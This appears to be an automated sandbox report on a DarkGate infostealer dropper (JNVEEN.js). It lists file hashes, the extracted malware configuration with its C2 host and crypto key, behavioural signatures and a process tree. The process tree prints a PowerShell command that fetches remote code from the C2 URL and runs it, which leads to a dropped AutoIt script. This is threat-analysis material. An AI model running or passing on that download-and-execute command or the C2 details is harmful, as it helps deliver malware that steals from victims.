Analysis

  • max time kernel
    137s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-11-2023 12:54

General

  • Target

    JNVEEN.js

  • Size

    237KB

  • MD5

    ea6fd6ca47514d9c632c119d73aef528

  • SHA1

    0d47cbd6d19a17a57077cbc0d0aa659865458672

  • SHA256

    c788100411c38388afc3438dccc05297ac7a77083f579e4a7e8d6e1479214fde

  • SHA512

    e20079b69e82eb48222635ef03a6f935871ea69f6d7715401ac208bbbb33a5af7fcb8c6c745364b31c2ee07e3f4bf2e5e5c2d1ae6ae87b795fa23230ead290ec

  • SSDEEP

    6144:k7hgXeerjqlI2Iro+Qqn7hgXeerjqlI2Iro+JGxw:ehgSlI23W7hgSlI23Ct

Score
10/10

Malware Config

Extracted

Family

darkgate

Botnet

A11111

C2

http://faststroygo.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    false

  • anti_debug

    false

  • anti_vm

    false

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    sYEvPOjQglaHah

  • internal_mutex

    txtMut

  • minimum_disk

    100

  • minimum_ram

    4096

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    A11111

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\fontdrvhost.exe
    "fontdrvhost.exe"
    1⤵
      PID:800
    • C:\Windows\sysmon.exe
      C:\Windows\sysmon.exe
      1⤵
        PID:2552
      • C:\Windows\system32\wscript.exe
        wscript.exe C:\Users\Admin\AppData\Local\Temp\JNVEEN.js
        1⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:568
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri "http://faststroygo.com:80/jsslatecqpa");
          2⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3424
          • C:\tepp\AutoIt3.exe
            "C:\tepp\AutoIt3.exe" latecqpa.au3
            3⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            PID:3480
      • C:\Windows\system32\wbem\wmiprvse.exe
        C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
        1⤵
          PID:3972

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_al3amv2r.qst.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\tepp\AutoIt3.exe
          Filesize

          872KB

          MD5

          c56b5f0201a3b3de53e561fe76912bfd

          SHA1

          2a4062e10a5de813f5688221dbeb3f3ff33eb417

          SHA256

          237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

          SHA512

          195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

        • C:\tepp\AutoIt3.exe
          Filesize

          872KB

          MD5

          c56b5f0201a3b3de53e561fe76912bfd

          SHA1

          2a4062e10a5de813f5688221dbeb3f3ff33eb417

          SHA256

          237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

          SHA512

          195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

        • C:\tepp\AutoIt3.exe
          Filesize

          872KB

          MD5

          c56b5f0201a3b3de53e561fe76912bfd

          SHA1

          2a4062e10a5de813f5688221dbeb3f3ff33eb417

          SHA256

          237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

          SHA512

          195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

        • C:\tepp\latecqpa.au3
          Filesize

          491KB

          MD5

          6696048e8c881d11d34693e7bd489914

          SHA1

          006775ec7d52759c9332fca82511f2393cca91a0

          SHA256

          c38255b259f5e552c33142d192afd438f824773dfcea4eb31c707ce86949464c

          SHA512

          5950ee2237918933c3b139161430f22952cf049e75c68cde7b8a94b708aba643d87b5e20cc156ae1cef9febf1b20d3e9dc4bf0360eccb413030dd2f1e0e1358a

        • memory/3424-18-0x00000160D6690000-0x00000160D66A0000-memory.dmp
          Filesize

          64KB

        • memory/3424-20-0x00000160D8F30000-0x00000160D90F2000-memory.dmp
          Filesize

          1.8MB

        • memory/3424-19-0x00000160D6690000-0x00000160D66A0000-memory.dmp
          Filesize

          64KB

        • memory/3424-17-0x00000160D6690000-0x00000160D66A0000-memory.dmp
          Filesize

          64KB

        • memory/3424-34-0x00007FFB47060000-0x00007FFB47B21000-memory.dmp
          Filesize

          10.8MB

        • memory/3424-15-0x00000160D8780000-0x00000160D87A2000-memory.dmp
          Filesize

          136KB

        • memory/3424-16-0x00007FFB47060000-0x00007FFB47B21000-memory.dmp
          Filesize

          10.8MB

        • memory/3480-37-0x00000000009D0000-0x0000000000DD0000-memory.dmp
          Filesize

          4.0MB

        • memory/3480-38-0x0000000003CF0000-0x0000000003E85000-memory.dmp
          Filesize

          1.6MB

        • memory/3480-45-0x0000000003CF0000-0x0000000003E85000-memory.dmp
          Filesize

          1.6MB

        • memory/3480-46-0x0000000003CF0000-0x0000000003E85000-memory.dmp
          Filesize

          1.6MB

        • memory/3480-47-0x0000000003CF0000-0x0000000003E85000-memory.dmp
          Filesize

          1.6MB